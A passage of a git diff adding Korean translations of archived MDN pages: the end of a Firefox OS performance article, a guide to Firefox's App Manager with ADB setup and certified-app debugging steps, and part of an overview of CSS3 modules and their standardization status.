Similarly, advanced users may wish to use a whole-system profiler like the linux |perf| tool. This is mostly useful for platform engineers, though.

+

As with measuring performance, don't be proud about tools used to diagnose it! A few well-placed Date.now() calls with logging can often provide a quick and accurate answer.

+

Finally, the only way to keep improving performance is to not regress it. The only way to not regress performance is to test it, preferably with automated tests. A full discussion of that topic is beyond the scope of this document, though.

+

파리 Firefox OS 성능 & 최적화 워크샵, 3월 4 - 8일, 2013

+

To illustrate these concepts here are some videos and slides from the Paris Workshop dedicated to performances and optimizations.

+

파트 1: Technical basics and more (Gabriele & Thomas)

+ +

파트 2: Performances in a UX point of view (Josh)

+

파트 3: Performances measurement & automation (Julien & Anthony)

diff --git "a/files/ko/archive/b2g_os/\354\225\261_\352\264\200\353\246\254\354\236\220_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" "b/files/ko/archive/b2g_os/\354\225\261_\352\264\200\353\246\254\354\236\220_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..392a32866e --- /dev/null +++ "b/files/ko/archive/b2g_os/\354\225\261_\352\264\200\353\246\254\354\236\220_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" @@ -0,0 +1,247 @@ +--- +title: 앱 관리자 사용하기 +slug: Archive/B2G_OS/앱_관리자_사용하기 +translation_of: Archive/B2G_OS/Using_the_App_Manager +--- +
+

앱 관리자는 Firefox 데스크톱에서 제공하는 새로운 도구로, Firefox OS phone과 Firefox OS 시뮬레이터에서 HTML5 웹앱을 테스트, 배치, 디버그할 수 있도록 돕는 여러 도구들을 브라우저에서 직접 제공합니다.

+
+ +

+ +

앱 관리자는 다음과 같이 구성되어 있습니다:

+ + + +

빠른 설정:

+ +

이 섹션에서는 가능한한 빠르게 준비하는 법을 다룹니다. 보다 자세한 내용은 장치 및 시스템 설정 섹션으로 넘어가십시오. 그리고 문제가 있을 경우 Troubleshooting 섹션을 읽어보세요.

+ +
    +
  1. Firefox 데스크톱 26 이상을 설치했는지 확인하세요.
  2. +
  3. 앱 관리자를 엽니다. (URL바에 about:app-manager을 입력합니다)
  4. +
  5. 실제 장치가 없는 경우: +
      +
    1. Firefox OS 시뮬레이터를 설치합니다.
    2. +
    3. 앱 관리자의 아래쪽 툴바에서 시뮬레이터 시작을 클릭하고 뒤이어 표시되는 설치된 시뮬레이터의 이름을 클릭합니다.
    4. +
    +
  6. +
  7. 실제 장치가 있는 경우: +
      +
    1. 장치가 Firefox OS 1.2 이상을 구동중인지 확인하세요.
    2. +
    3. Windows의 경우, 폰 제조사에서 제공하는 드라이버의 설치를 확인하세요. 
    4. +
    5. 장치의 설정에서 화면 잠금을 비활성화하고 (Settings > Screen Lock) 원격 디버깅을 활성화합니다(Settings > Device information > More information > Developer).
    6. +
    7. Firefox Desktop에 ADB Helper 추가기능을 설치합니다.
    8. +
    9. USB케이블로 장치와 컴퓨터를 연결하세요.
    10. +
    11. 앱 관리자 하단에 장치의 이름이 나타나면 클릭합니다.
    12. +
    +
  8. +
  9. 하단 바에 "xxx에 연결됨"이 표시됩니다.
  10. +
  11. 앱 패널을 클릭해 앱을 추가합니다(패키지 또는 hosted).
  12. +
  13. The Refresh button validates your app and installs it on the Simulator/Device
  14. +
  15. The Debug button connects the developer tools to the running app
  16. +
  17. 문제가 발생한다면 Troubleshooting섹션을 참조하세요.
  18. +
+ +

장치 및 시스템 설정

+ +

앱 관리자를 사용할 때 가장 처음 해야할 일은 여러분의 시스템과 폰이 제대로 설정되었는지 확인하는 것입니다. 이 섹션에서 필요한 단계들을 알아보겠습니다.

+ +

Firefox 1.2 이상 필요

+ +

장치가 Firefox OS 1.2/Boot2Gecko 1.2 또는 그 이상을 구동중인지 확인하세요. 장치의 Firefox OS 버전을 확인하려면 Settings > Device Information > Software로 이동하십시오.

+ +

If you don't have a high enough version installed, depending on what phone you have you will need to either install an available nightly build of Firefox 1.2+, or configure and build it yourself from source.

+ +

Builds available:

+ +

Geeksphone Keon/Peak builds (to find out more about using these, read Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone)

+ +

More to follow

+ +

To build your own Firefox OS 1.2+ distribution, follow the instructions located at Building and installing Firefox OS, starting with Firefox OS build prerequisites.

+ +

원격 디버깅(Remote debugging)

+ +

Next, you need to enable remote debugging in Firefox OS. To do so, go to Settings > Device information > More information > Developer and check the Remote Debugging checkbox.

+ +

ADB or ADB helper

+ +

The process uses the Android Debug Bridge (ADB) to handle the device-computer connection and communication. There are two options for running ADB:

+ +

Let Firefox handle ADB (recommended). Install the ADB Helper add-on, which makes the process easier. With this installed, there's no need to install the ADB, and no need to type the adb forward command: everything is handled by the add-on.

+ +

ADB Helper 확장기능 다운로드

+ +

Use ADB manually. You need to have it installed on your computer - download and install adb (see the Get the Android SDK) as part of the Android SDK package. You'll need to enable port forwarding by entering the following command into your terminal:Note that you'll need to do this every time the phone is restarted or unplugged then re-plugged.

+ +
+

Note: ADB Helper 확장기능을 설치했다면 이 명령을 실행할 필요가 없습니다.

+
+ +

Connecting your device to the App Manager

+ +

With all your configuration done, it's now time to plug your device into your computer and start the App Manager:

+ +
    +
  1. Plug the device into your computer via USB.
  2. +
  3. Disable Screen lock on your device by going to Settings > Screen Lock and unchecking the Lock Screen checkbox. This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.
  4. +
  5. Start the App Manager — In Firefox Desktop select the Tools > Web Developer > App Manager menu option, or type about:app-manager in the URL bar.
  6. +
  7. At the bottom of the App Manager tab, you will see a connection status bar (see screenshot below). You should be able to connect your device by clicking the "Connect to localhost:6000" button.
  8. +
  9. If this works successfully, a prompt should appear on your device: "An incoming request to permit remote debugging connection was detected. Allow connection?". Tap the OK button (You may also have to press the power button on the phone so you can see the prompt.) The connection status bar should update to say "Connected to B2G", with a Disconnect button available to press if you want to cancel the connection.
  10. +
+ +

+ +
+

Note that the other controls in the connection status bar allow you to connect a simulator to the App Manager, which we cover in the next section, below, and change the port that the connection happens on. If you change the port, you'll also need to enable port forwarding for this port as well, as instructed in the Enable port forwarding section, above.

+
+ +

Firefox OS 시뮬레이터 추가기능 사용하기

+ +

If you haven't got a real device available to use with App Manager, you can still try it out using a Firefox OS Simulator Add-on. To start off, install the appropriate simulator for your operating system:

+ +

시뮬레이터 설치하기

+ +
+

앞으로 더 많은 것들이 등장하겠지만, 지금은 Firefox OS 1.2 시뮬레이터만 이용할 수 있습니다.

+
+ +

Once you've installed the simulator, you need to go to the connection status bar at the bottom of the App Manager tab, and click the "Start simulator" button. Three buttons will appear:

+ + + +

앱 패널

+ +

Now everything is working, let's review the functionality available inside the App Manager, starting with the Apps panel. From here, you can import an existing app to push onto your device and debug:

+ + + +

Information about your app should appear on the right hand side of the window, as seen below:

+ +

+ +

Manifest 편집기

+ +

From Firefox 28 onwards, the Apps Panel includes an editor for the app manifest:

+ +

+ +

Debugging

+ +

Clicking on "Update" will update (install) the app on the device. Clicking on "debug" will connect a toolbox to the app, allowing you to debug its code directly:

+ +

+ +
+

Note: You'll enjoy playing around with the toolbox — try altering the DOM, CSS etc. and you'll see the updates reflected on the device in realtime. Such updates will be saved on the installed app code; you'll see them next time you open the app on the device.

+
+ +

Before Firefox 28, the tools are launched in a separate window. From Firefox 28 onwards, the tools are launched in a separate tab in the App Manager itself, alongside the Apps and Device tabs. The tab is given your app's icon so it's easy to find:

+ +

+ +

Errors

+ +

If an app was not added successfully — for example if the URL was incorrect, or you selected a packaged app folder — an entry will be added to the page for this app, but this will include error information.

+ +

+ +

You can also delete an app from this view, by hovering over the App name/description on the left of the window, and pressing the "X" button that appears in each case. This however doesn't remove the app from the device. To do that you need to manually remove the app using the device itself.

+ +

Device panel

+ +

The Device tab displays information about the connected device. From the "Installed Apps" window, apps on the device can be started and debugged.

+ +

+ +
+

Note: Certified Apps are not listed by default. See how to debug certified apps.

+
+ +

The "Permissions" window shows the required priviledges for different Web APIs on the current device:

+ +

+ +

Finally, you can take a screenshot of the current device display by clicking the "Screenshot" button. The screenshot appears in a new tab on Firefox, and from there you can save or discard it as you wish.

+ +

Debugging Certified Apps

+ +

Currently only devices running a development build of Firefox OS 1.2 are capable of debugging certified apps. If you have a development build, you can enable certified app debugging by changing the pref devtools.debugger.forbid-certified-apps to false in your profile. To do this, follow the steps below:

+ +
    +
  1. +

    On your computer, enter the following command in Terminal/console to enter your device's filesystem via the shell:

    + +
    adb shell
    + +

    Your prompt should change to root@android.

    +
  2. +
  3. +

    Next, stop B2G running using the following command:

    + +
    stop b2g
    +
  4. +
  5. +

    Navigate to the following directory:

    + +
    cd /data/b2g/mozilla/*.default/
    +
  6. +
  7. +

    Here, update the prefs.js file with the following line:

    + +
    echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' >> prefs.js
    +
  8. +
  9. +

    After you've finished editing and saving the file, start B2G again using the following command:

    + +
    start b2g
    +
  10. +
  11. +

    Exit the android filesystem using the exit command; this will return you to your normal terminal prompt.

    +
  12. +
  13. +

    Next, reconnect to the App Manager and you should see certified apps appear for debugging.

    +
  14. +
+ +
+

Note: If you want to add this preference to your Gaia build you can run make DEVICE_DEBUG=1 reset-gaia.

+
+ +

Troubleshooting

+ +

장치가 인식되지 않을 경우:

+ + + +

Can't connect your device to the App Manager or start the simulator? Let us know or file a bug.

diff --git a/files/ko/archive/css3/index.html b/files/ko/archive/css3/index.html new file mode 100644 index 0000000000..b884c02e7c --- /dev/null +++ b/files/ko/archive/css3/index.html @@ -0,0 +1,582 @@ +--- +title: CSS3 +slug: Archive/CSS3 +translation_of: Archive/CSS3 +--- +

CSS3는 Cascading Style Sheets(CSS) 언어의 가장 최신 버전이고 CSS2.1을 상속하는 것을 목표로  합니다.  CSS3는 개발자들이 오랫동안 기다려온 새로운 기능들을 지원하게 되었습니다. 다중열(multi-columns), 유동적인 상자(flexible box), 격자 배치(grid layouts) 뿐만 아니라 둥그런 모서리(rounded corners), 그림자( shadows) , 부드러운 색의 변이(gradients) , 변이(transitions), 움직임(animations) 등도 지원합니다. 실험적인 부분(experimental parts)은 브라우저 공급자(vender)의 구현에 따라 다를 수 있고 미래에 문법이나 의미가 변할 수 있습니다. 따라서 환경에 따라 해당 스펙을 사용하는 것을 피하거나, 사용하더라도 매우 신중히 사용해야합니다.  

+ +

모듈과 표준화 과정(Modules and the standardization process)

+ +

2002년 8월부터 2011년 6월까지 CSS Level2가 권장(Recommendation)단계에 이르기 까지 총 9년이 걸렸습니다. 이는 몇몇 부차적인 기능들이 전체 명세(specification)의 진행을 더디게 만들었기 때문입니다. W3C의 CSS Working Group은 문제를 일으키는 몇몇 기능을 제외한 나머지 기능들의 표준화 작업을 보다 빠르게 진행하기 위하여 Beijing doctrine에 따라 CSS를 보다 작은 컴포넌트 단위로 나눴고, 이를 모듈(module)이라 부릅니다. 현재 각각의 모듈은 서로 독립적으로 표준화 과정을 거치고 있습니다. 이미 몇몇 모듈은 W3C Rocommendations 에 이르렀으나, 나머지는 여진히 Working Drafts 단계에 머물러 있습니다. 또한 새로운 요구사항(needs)이 발생할 때 마다 계속해서 새로운 모듈이 추가되고 있습니다.

+ +

CSS Modules and Snapshots as defined since CSS3 공식적으로 CSS3 자체 표준은 존재하지 않습니다. 각각의 모듈이 독립적으로 표준화 되고 있고, 표준 CSS는 모듈을 통해 CSS2.1을 수정하여 상속(extends)하는 것으로 구성되어있서 항상 같은 level number를 갖는 것은 아닙니다. 특정 시점의 CSS2.1과 완성된 모듈들로 구성된 CSS표준 스냅샷을 정의할 수 있습니다. W3C는 주기적으로 이런 스냅샷을 발표하고 있습니다. (2007 / 2010)

+ +

아직까지 lever 3보다 높은 level을 가진 모듈은 없지만 곧 생길 것입니다. Selector 4나 CSSborder 4, Background 4와 같은 몇몇 모듈은 Working Draft가 공개된적은 없지만 이미 Editor's Draft는 작성되어 있습니다.

+ +

 

+ +

CSS 모듈의 상태(CSS modules status)

+ +

안정적인 모듈(Stable modules)

+ +

몇개의 모듈은 이미 상당히 안정적이고, CSSWG의 recommendation 3단계(Candidate Recommendation, Propesed Recommendation, Recommendation) 중 하나에 도달했습니다. 이 모듈들은 별도의 과정없이도 꽤 안정적으로 사용할 수 있습다. 하지만 몇몇 기능은 여전히 Candidate Recommendation 단계에 머물러 있습니다.

+ +

모듈들은 명세(spec)의 핵심이 되는 CSS2.1을 수정, 상속하고 있습니다. 이것을 포함한 모듈들이 CSS3 명세의 스냅샷이 됩니다.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Colors", "", "") }}{{ Spec2("CSS3 Colors") }} since June 7th, 2011
+

{{ cssxref("opacity") }} 프로퍼티(property)와 {{cssxref("<color>")}} 밸류를 생성하기 위한 the hsl(), hsla(), rgba(), rgb() 함수를 추가합니다. 또한 the currentColor keyword로 유효한 색상을 얻을 수 있습니다.

+ +

alpha channel의 지원으로 rgba(0,0,0,0.0)의 별칭인 transparent를 사용할 수 있습니다.

+ +

 더이상 사용해선 안되는 system-color 키워드를 deprecates 합니다.

+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Selectors", "", "") }}{{ Spec2("CSS3 Selectors") }} since September 29th, 2011
+

다음이 추가되었습니다.

+ +
    +
  • attribute와 일치하는 부분문자열 selector : E[attribute^="value"] , E[attribute$="value"] , E[attribute*="value"] .
  • +
  • 새로운 pseudo-class : {{ cssxref(":target") }}, {{ cssxref(":enabled") }} and {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} and {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} and {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} and {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} and {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, and {{ cssxref(":not") }}.
  • +
  • Pseudo-elements는 콜론을 하나가 아니라 둘을 사용하도록 함 : :after 가  {{ cssxref("::after") }}로, :before 가 {{ cssxref("::before") }}로, :first-letter 가 {{ cssxref("::first-letter") }}로, :first-line 가 {{ cssxref("::first-line") }}로 바뀌었음.
  • +
  • 새로운 general sibling combinator ( h1~pre ).
  • +
+
+ +

아직 Working Draft로 공개되진 않았지만, 셀렉터 명세의 다음 버전이 이미 진행중입니다.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Namespaces", "", "") }}{{ Spec2("CSS3 Namespaces") }} since September 29th, 2011
+

CSS qualified name의 개념을 정의하여 XML Namespaces에 대한 지원이 추가됩니다.  이를 위해 ' | ' 문법을 사용하고 {{ cssxref("@namespace") }} CSS at-rule을 더합니다.

+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Media Queries", "", "") }}{{ Spec2("CSS3 Media Queries") }} since June 19th, 2012
+

이전의 media type ( print, screen, )을 only screen and (color)와 같이 디바이스의 media capabilities에 대한 질의가 가능한 full language로 확장합니다.

+ +

미디어 쿼리는 CSS 문서에서만 사용되는 것이 아니라 {{ HTMLElement("link") }}의 {{ htmlattrxref("media","link") }}어트리뷰트와 같이 일부 HTML 엘리먼트에서도 사용할 수 있습니다. .

+
+ +

용자 에이전트의 입력 메소드에 대해 잘 맞는 웹사이트를 제작할 수 있게 해줄  이 명세의 다음 버전이 진행중입니다. hover나 pointerd와 같은 새로운 미디어 기능을 포함하고 있습니다. script media features를 이용해 EcmaScript에서도 감지할 수 있도록 제안되었습니다.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Style", "", "") }}{{ Spec2("CSS3 Style") }} since November 7th, 2013
HTML style 전역 특성(global attribute)의 내용(contents)에 관한 문법을 공식적으로 정의합니다.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Backgrounds", "", "") }}{{ Spec2("CSS3 Backgrounds") }}
+

다음이 추가되었습니다. 

+ +
    +
  • uri() 를 통해 정의된 이미지 뿐 아니라 모든 종류의 {{cssxref("<image>")}}에 backgrounds를 지원.
  • +
  • 다중 background 이미지를 지원.
  • +
  • {{ cssxref("background-repeat") }}의 밸류로 space 와 round가 추가.
  • +
  • The {{ cssxref("background-attachment") }} local value.
  • +
  • The CSS {{ cssxref("background-origin") }}, {{ cssxref("background-size") }},  {{ cssxref("background-clip") }} 프로퍼티
  • +
  • CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }},{{ cssxref("border-bottom-right-radius") }} 프로퍼티를 통해 곡선 형태의 테투리를 지원.
  • +
  •  CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, and {{ cssxref("border-image-repeat") }} 프로퍼티를 이용해 {{cssxref("<image>")}}를 테두리로 사용할 수 있음.
  • +
  •  CSS {{ cssxref("box-shadow") }} 프로퍼티를 이용해 엘리먼트에 그림자 효과 부여 가능.
  • +
+
+ +

 아직 Working Draft의 초안이 공개되진 않았지만 CSS4 Backgrounds 와 Borders 명세의 다음 버전이 이미 진행중입니다. 테두리를 잘라내는 기능(CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}와 {{ cssxref("border-clip-left") }} 프로퍼티를 사용)이나 테투리의 모서리 모양을 조절하는 기능 (CSS {{ cssxref("border-corner-shape") }} 프로퍼티를 사용)을 추가할 계획입니다.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Multicol", "", "") }}{{ Spec2("CSS3 Multicol") }}
CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }},  {{ cssxref("break-inside") }}를 이용해 쉽게 다중 열 레이아웃을 만들 수 있습니다.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Speech", "", "") }}{{ Spec2("CSS3 Speech") }}
청각 포맷 모델과 사용자 에이전트의 speech-rendering에 특화된 수많은 프로퍼티를 내용으로 하는 speech 미디어 타입을 정의합니다. 
+ + + + + + + + + + + +
{{ SpecName("CSS3 Images", "", "") }}{{ Spec2("CSS3 Images") }}
+

{{cssxref("<image>")}} 데이터 타입을 정의합니다.

+ +

미디어 프래그먼트를 이용해 이미지를 자를 수 있도록 url() 을 상속합니다.

+ +

다음이 추가되었습니다 :

+ +
    +
  • {{cssxref("<resolution>")}} 데이터 타입에 대한 단위인 dppx.
  • +
  • url로 부터 이미지를 정의하는 데 있어 url() 보다 더 유연한 image() 함수.
    + 주의  : 브라우저의 불충분한 지원으로  image() 함수의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.
  • +
  • linear-gradient(), repeating-linear-gradient(), radial-gradient()repeating-radial-gradient()을 지원.
  • +
  • CSS {{ cssxref("object-fit") }} 프로퍼티를 이용해 교체된 엘리먼트가 어떻게 맞춰져야할지 정의할 수 있음.
    + 주의  : 브라우저의 불충분한 지원으로  {{ cssxref("object-fit") }}의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다. 
  • +
  • CSS {{ cssxref("image-resolution") }} 와 {{ cssxref("image-orientation") }} 프로퍼티를 이용해 외부 이미지의 방향과 해상도를 오버라이드 할수 있음
    + 주의  : 브라우저의 불충분한 지원으로   {{ cssxref("image-resolution") }} 와 {{ cssxref("image-orientation") }}의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다. 
  • +
+
+ +

CSS Image Level 3를 대체할  CSS Image Values 와 Replaced Content Level 4 는 현재 개발중에 있고 {{Spec2("CSS4 Images")}} 입니다.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Values", "", "") }}{{ Spec2("CSS3 Values") }}
+

initial 키워드와 inherit 키워드를 모든 CSS 프로퍼티에 대해 사용할 수 있습니다.

+ +

문법적 토큰과 원문의 정도(Precision)의해 암묵적으로 정의했던 CSS2.1의 CSS 데이터 타입을 공식적으로  정의합니다. 

+ +

다음이 추가되었습니다 :

+ +
    +
  • 폰트에 상대적인 길이 단위에 대한 정의 : rem , ch .
  • +
  • 뷰포트에 상대적인 길이 단위에 대한 정의: vw, vh, vmax, vmin .
  • +
  • 절대 길이 단위의 실제 사이즈에 대한 정도(Precision). 절대 길이는 실제로는 '절대치'가 아니며 reference pixel에 대하여 상대적으로 정의.
  • +
  • {{ cssxref("<angle>") }}, {{cssxref("<time>")}}, {{cssxref("<frequency>")}}, {{cssxref("<resolution>")}}에 대한 정의.
  • +
  •  {{cssxref("<color>")}}, {{cssxref("<image>")}}, {{ cssxref("<position>") }}의 정의에 대한 규범적인 밸류.
  • +
  • {{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}에 대한 정의와 toggle()의 표기법
    + 주의 :브라우저의 불충분한 지원으로   calc(), attr(), ooggle() 표기법의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.
  • +
+
+ +

 <ident> ,<custom-ident>같은 몇몇 정의는 CSS Values and Units Module Level 4로 미뤄졌습니다..

+ + + + + + + + + + + +
{{ SpecName("CSS3 Flexbox", "", "") }}{{ Spec2("CSS3 Flexbox") }}
CSS {{ cssxref("display") }} 프로퍼티에 flexbox layout과 이것을 제어할 몇몇 새 CSS 프로퍼티가 추가되었습니다 : {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Conditional", "", "") }}{{ Spec2("CSS3 Conditional") }}
스타일 시트의 몇몇 부분을 특정 조건하에 처리하기 위한 기능이 추가되었습니다. 스타일시트가 적용될 문서나 브라우저의 능력에 따라 작동하게 됩니다{{ cssxref("@media") }}의 하위에 들여쓰기된 앳-룰(at-rule)을 사용할 수 있고, 새로운 CSS 앳-룰인 {{ cssxref("@supports") }}와 새 DOM 메소드인 {{domxref("CSS.supports()")}}가 추가되었습니다.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Text-decoration", "", "") }}{{ Spec2("CSS3 Text-decoration") }}
+

Extends:

+ +
    +
  • the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.
  • +
+ +

Adds:

+ +
    +
  • Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.
  • +
  • Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.
  • +
+ +

Precises:

+ +
    +
  • The paint order of the decorations.
  • +
+ +

At risk: due to insufficient browser support, standardization of the text-decoration-skip, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to the next iteration of this module.

+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Fonts", "", "") }}{{ Spec2("CSS3 Fonts") }}
+

Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.

+ +

Adds:

+ +
    +
  • Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.
  • +
  • The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.
  • +
  • The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.
  • +
  • The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.
  • +
  • The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.
  • +
  • The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.
  • +
  • The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.
  • +
+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Syntax", "", "") }}{{ Spec2("CSS3 Syntax") }}
Precises how charsets are determined; minor changes in parsing and tokenization algorithms.
+ +

Modules in the refining phase

+ +

Specifications that are deemed to be in the refining phase are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Basic UI", "", "") }}{{ Spec2("CSS3 Basic UI") }}
+

Adds:

+ +
    +
  • The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.
    + At risk: due to insufficient browser support, standardization of the padding-box value may be postponed to the next iteration of this module .
  • +
  • Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.
    + At risk: due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to the next iteration of this module .
  • +
  • Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new icon value of the CSS {{ cssxref("content") }} property.
    + At risk: due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the icon value may be postponed to CSS4.
  • +
  • Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.
  • +
  • Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.
  • +
  • Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.
    + At risk: due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("<string>")}} values may be postponed to the next iteration of this module .
  • +
  • The ability to define the hotspot of a cursor as well as the new none, context-menu, cell, vertical-text, alias, copy, no-drop, not-allowed, nesw-resize, nwse-resize, col-resize, row-resize, all-scroll, zoom-in, zoom-out, extending the {{ cssxref("cursor") }} property.
  • +
  • The ability to specify the sequential navigation order (that is the tabbing order ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.
    + At risk: due to insufficient browser support, standardization of the navigation properties may be postponed to the next iteration of this module .
  • +
  • The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.
    + At risk: due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to the next iteration of this module .
  • +
+
+ +

An early list of what could be in the next iteration of the CSS Basic User Interface Module is available.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Transitions", "", "") }}{{ Spec2("CSS3 Transitions") }}
Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Animations", "", "") }}{{ Spec2("CSS3 Animations") }}
Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Transforms", "", "") }}{{ Spec2("CSS3 Transforms") }}
+

Adds:

+ +
    +
  • the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: matrix(), translate(), translateX(), translateY(), scale(), scaleX(), scaleY(), rotate(), skewX(), and skewY().
  • +
  • the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: matrix 3d(), translate3d(), translateZ()scale3d(), scaleZ(), rotate3d(), rotateX() ,rotateY(), rotateZ(), and perspective().
  • +
+ +

Note: this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms.

+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Fragmentation", "", "") }}{{ Spec2("CSS3 Fragmentation") }}
Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling. +

Adds:

+ +
    +
  • Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.
  • +
+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Text", "", "") }}{{ Spec2("CSS3 Text") }}
+

Extends:

+ +
    +
  • the CSS {{ cssxref("text-transform") }} property with the value full-width.
  • +
  • the CSS {{ cssxref("text-align") }} property with the value start, end, start end, and match-parent for a better support of documents with multiple directionalities of text.
  • +
